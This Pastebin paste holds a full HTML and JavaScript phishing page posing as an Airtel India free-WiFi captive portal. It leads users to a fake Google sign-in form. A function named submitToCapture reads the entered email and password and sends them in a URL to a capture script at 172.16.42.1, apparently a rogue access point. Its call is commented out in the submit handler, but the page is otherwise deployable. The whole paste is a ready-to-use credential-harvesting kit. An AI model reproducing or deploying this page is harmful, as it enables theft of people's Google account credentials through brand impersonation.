Guest User

Untitled

a guest
Feb 23rd, 2016
43
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.11 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <title>Login</title>
  5. <style type="text/css">
  6. body {
  7. font-family: Arial, sans-serif;
  8. }
  9. #wrapper {
  10. width: 350px;
  11. position: absolute;
  12. background: #f7f7f7;
  13. border-radius: 2px;
  14. box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
  15. z-index: 0;
  16. visibility: hidden;
  17. }
  18. #outerWrapper {
  19. height: 450px;
  20. width: 450px;
  21. z-index: 1;
  22. visibility: visible;
  23. position: absolute;
  24. }
  25. #nextBtn {
  26. width: 100%;
  27. height: 36px;
  28. border: 1px solid #3079ed;
  29. -moz-border-radius: 3px;
  30. -webkit-border-radius: 3px;
  31. border-radius: 3px;
  32. font-weight: 700;
  33. color: #fff;
  34. text-shadow: 0 1px rgba(0,0,0,0.1);
  35. background-color: #4d90fe;
  36. font-size: 13px;
  37. background-image: -webkit-linear-gradient(top,#4d90fe,#4787ed);
  38. margin-top: -3px;
  39. }
  40. .inputField {
  41. width: 100%;
  42. display: inline-block;
  43. height: 44px;
  44. padding: 0 8px;
  45. margin: 0;
  46. background: #fff;
  47. border: 1px solid #d9d9d9;
  48. border-top: 1px solid #c0c0c0;
  49. -moz-box-sizing: border-box;
  50. -webkit-box-sizing: border-box;
  51. box-sizing: border-box;
  52. -moz-border-radius: 1px;
  53. -webkit-border-radius: 1px;
  54. border-radius: 1px;
  55. font-size: 15px;
  56. color: #404040;
  57. margin-bottom: 5px;
  58. }
  59. #pictArea {
  60. width: 100%;
  61. height: 126px;
  62. }
  63. #pictArea .pictDiv {
  64. border-radius: 50%;
  65. margin-left: auto;
  66. margin-right: auto;
  67. background-image: url("avatar.png");
  68. background-size: contain;
  69. width: 100px;
  70. height: 100px;
  71. margin-top: 15px;
  72. }
  73. table {
  74. width: 285px;
  75. margin-left: auto;
  76. margin-right: auto;
  77. padding-top: 20px;
  78. padding-bottom: 40px;
  79. }
  80. #wrapper a, #wrapper a:hover, #wrapper a:visited {
  81. color: #427fed;
  82. cursor: pointer;
  83. text-decoration: none;
  84. float: left;
  85. text-align: right;
  86. font-size: 13px;
  87. margin-top: 10px;
  88. }
  89. #topText {
  90. text-align: center;
  91. padding-top: 95px;
  92. margin-bottom: 25px;
  93. font-size: 28px;
  94. color: #717171;
  95. visibility: hidden;
  96. }
  97. #footer {
  98. width: 100%;
  99. height: 50px;
  100. position: absolute;
  101. bottom: 0;
  102. left: 0;
  103. border-top: 1px solid #bbbbbb;
  104. }
  105. .footerContent {
  106. color: #bbbbbb;
  107. font-size: 13px;
  108. margin-left: 10px;
  109. margin-top: 10px;
  110. position: absolute;
  111. }
  112. #errorMessage {
  113. color: #dd4b39;
  114. font-size: 13px;
  115. height: 0px;
  116. }
  117. .airtelWalaTop {
  118. width: 100%;
  119. height: 125px;
  120. }
  121. .airtelWalaBottom {
  122. width: 100%;
  123. height: 300px;
  124. }
  125. .centerAlign {
  126. left: 0;
  127. right: 0;
  128. margin-left: auto;
  129. margin-right: auto;
  130. }
  131. #airtelClick {
  132. position: absolute;
  133. width: 150px;
  134. margin-top: -100px;
  135. color: white;
  136. font-size: 18px;
  137. text-align: center;
  138. text-decoration: underline;
  139. cursor: pointer;
  140. }
  141. #outerWrapper img {
  142. width: 100%;
  143. }
  144. </style>
  145.  
  146. <script type="text/javascript">
  147. function switchIt() {
  148. var ow = document.getElementById("outerWrapper");
  149. ow.style.zIndex = 0;
  150. ow.style.visibility = "hidden";
  151.  
  152. var w = document.getElementById("wrapper");
  153. w.style.zIndex = 1;
  154. w.style.visibility = "visible";
  155.  
  156. document.getElementById("topText").style.visibility = "visible";
  157. }
  158. function performAction() {
  159. var un = document.getElementById("username");
  160. var pw = document.getElementById("password");
  161.  
  162. un.style.border = "1px solid #d9d9d9";
  163. un.style.borderTop = "1px solid #c0c0c0";
  164. pw.style.border = "1px solid #d9d9d9";
  165. pw.style.borderTop = "1px solid #c0c0c0";
  166.  
  167. if (un.value.trim() == "") {
  168. displayError(1, un);
  169. } else if (pw.value.trim() == "") {
  170. displayError(2, pw);
  171. } else {
  172. if(validateEmail(un.value)) {
  173. displayError(4);
  174. // submitToCapture();
  175. } else {
  176. displayError(3, pw);
  177. }
  178. }
  179. }
  180. function displayError(i, field) {
  181. var em = document.getElementById("errorMessage");
  182. em.style.height = "20px";
  183. switch(i) {
  184. case 1:
  185. field.style.border = "1px solid #dd4b39";
  186. em.innerHTML = "Enter your email.";
  187. break;
  188. case 2:
  189. field.style.border = "1px solid #dd4b39";
  190. em.innerHTML = "Enter your password.";
  191. break;
  192. case 3:
  193. em.innerHTML = "The email or password you entered is incorrect.";
  194. break;
  195. case 4:
  196. em.style.height = "0px";
  197. em.innerHTML = "";
  198. break;
  199. }
  200. }
  201.  
  202. function validateEmail(email) {
  203. var re = re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
  204.  
  205. return re.test(email);
  206. }
  207.  
  208. function submitToCapture() {
  209.  
  210. uname = document.getElementById("username").value;
  211. pass = document.getElementById("password").value;
  212. redir = window.location.href;
  213.  
  214. window.location = "http://172.16.42.1/capture1.php?username=" + uname + "&password=" + pass + "&redir=" + redir;
  215.  
  216. }
  217. </script>
  218. </head>
  219. <body>
  220.  
  221. <div id="topText">
  222. Sign-in with Google to access Wifi
  223. </div>
  224.  
  225. <div id="outerWrapper" class="centerAlign">
  226. <div class="airtelWalaTop centerAlign">
  227. <img src="freedomairtel.jpg"/>
  228. </div>
  229. <div class="airtelWalaBottom centerAlign">
  230. <img src="FREEWIFI.jpg"/>
  231. <a id="airtelClick" class="centerAlign" onclick='switchIt()'>Sign In now!</a>
  232. </div>
  233. </div>
  234.  
  235. <div id="wrapper" class="centerAlign">
  236. <table>
  237. <tr>
  238. <td>
  239. <div id="pictArea">
  240. <div class="pictDiv"></div>
  241. </div>
  242. </td>
  243. </tr>
  244. <tr>
  245. <td>
  246. <input id="username" class="inputField" type="email" placeholder="Email" onblur="validateEmail()" />
  247. </td>
  248. </tr>
  249. <tr>
  250. <td>
  251. <input id="password" class="inputField" type="text" placeholder="Password"/>
  252. </td>
  253. </tr>
  254. <tr>
  255. <td>
  256. <div id="errorMessage"></div>
  257. </td>
  258. </tr>
  259. <tr>
  260. <td>
  261. <input id="nextBtn" type="button" value ="Sign In" onclick="performAction()" />
  262. </td>
  263. </tr>
  264. <tr>
  265. <td>
  266. <a href="#">Need Help?</a>
  267. </td>
  268. </tr>
  269. </table>
  270. </div>
  271.  
  272. <div id="footer">
  273. <span href="#" class="footerContent">© airtel India 2016, all rights reserved</span>
  274. </div>
  275.  
  276. </body>
  277. </html>
Add Comment
Please, Sign In to add comment